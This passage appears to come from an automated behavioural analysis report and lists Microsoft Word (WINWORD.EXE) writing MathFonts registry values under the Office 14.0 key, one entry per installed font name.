"SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ARABIC TYPESETTING"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ARIAL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ARIAL BLACK"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ARIAL NARROW"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ARIAL ROUNDED MT BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ARIAL UNICODE MS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BASKERVILLE BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BASKERVILLE OLD FACE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BATANGCHE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BAUHAUS 93"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BELL MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BERLIN SANS FB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BERLIN SANS FB DEMI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BERNARD MT CONDENSED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BERNHARDFASHION BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BLACKADDER ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BLIPPO BLK BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BODONI BD BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BODONI BK BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BODONI MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BODONI MT BLACK"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BODONI MT CONDENSED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BODONI MT POSTER COMPRESSED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BOOK ANTIQUA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BOOKMAN OLD STYLE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BOOKSHELF SYMBOL 7"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BRADLEY HAND ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BRITANNIC BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BROADWAY"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BROADWAYENGRAVED BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BROWALLIA NEW"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BROWALLIAUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BRUSH SCRIPT MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "BRUSHSCRIPT BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CALIBRI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CALIBRI LIGHT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CALIFORNIAN FB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CALISTO MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CAMBRIA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CAMBRIA MATH"; Value: "01000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CANDARA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CASTELLAR"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CENTAUR"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CENTSCHBOOK BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CENTURY"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CENTURY GOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CENTURY SCHOOLBOOK"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CHILLER"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COLONNA MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COMIC SANS MS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COMMERCIALSCRIPT BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CONSOLAS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CONSTANTIA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COOPER BLACK"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COOPER BLK BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COPPERPLATE GOTHIC BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COPPERPLATE GOTHIC LIGHT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CORBEL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CORDIA NEW"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CORDIAUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COURIER NEW"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "COURIER10 BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "CURLZ MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "DAUNPENH"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "DAVID"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "DFKAI-SB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "DILLENIAUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "DOKCHAMPA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "DOMCASUAL BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "DOTUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "DOTUMCHE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "EBRIMA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "EDWARDIAN SCRIPT ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ELEPHANT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ENGRAVERS MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ERAS BOLD ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ERAS DEMI ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ERAS LIGHT ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ERAS MEDIUM ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ESTRANGELO EDESSA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "EUCROSIAUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "EUPHEMIA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FANGSONG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FELIX TITLING"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FOOTLIGHT MT LIGHT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FORTE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FRANKLIN GOTHIC BOOK"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FRANKLIN GOTHIC DEMI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FRANKLIN GOTHIC DEMI COND"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FRANKLIN GOTHIC HEAVY"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FRANKLIN GOTHIC MEDIUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FRANKLIN GOTHIC MEDIUM COND"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FRANKRUEHL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FREEHAND591 BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FREESIAUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FREESTYLE SCRIPT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FRENCH SCRIPT MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FUTURABLACK BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "FZSONG_SUPERFONT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GABRIOLA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GADUGI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GARAMOND"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GAUTAMI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GEORGIA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GIGI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GILL SANS MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GILL SANS MT CONDENSED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GILL SANS MT EXT CONDENSED BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GILL SANS ULTRA BOLD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GILL SANS ULTRA BOLD CONDENSED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GISHA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GLOUCESTER MT EXTRA CONDENSED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GOUDY OLD STYLE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GOUDY STOUT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GOUDYOLST BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GULIM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GULIMCHE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GUNGSUH"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "GUNGSUHCHE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN BAEKJE B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN BAEKJE M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN COOLJAZZ B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN COOLJAZZ L"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN COOLJAZZ M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN SALE B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN SALE M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN SOLLIP B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN SOLLIP M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN SOMANG B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN SOMANG M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN YGODIC 230"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN YGODIC 240"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN YGODIC 250"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN YHEAD B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN YHEAD L"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN YHEAD M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAANSOFT BATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAANSOFT DOTUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAETTENSCHWEILER"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HARLOW SOLID ITALIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HARRINGTON"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HCR BATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HCR BATANG EXT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HCR BATANG EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HCR DOTUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HCR DOTUM EXT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HIGH TOWER TEXT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HOBO BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYBDAL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYBDAM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYBSRB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYCYSM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYDNKB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: 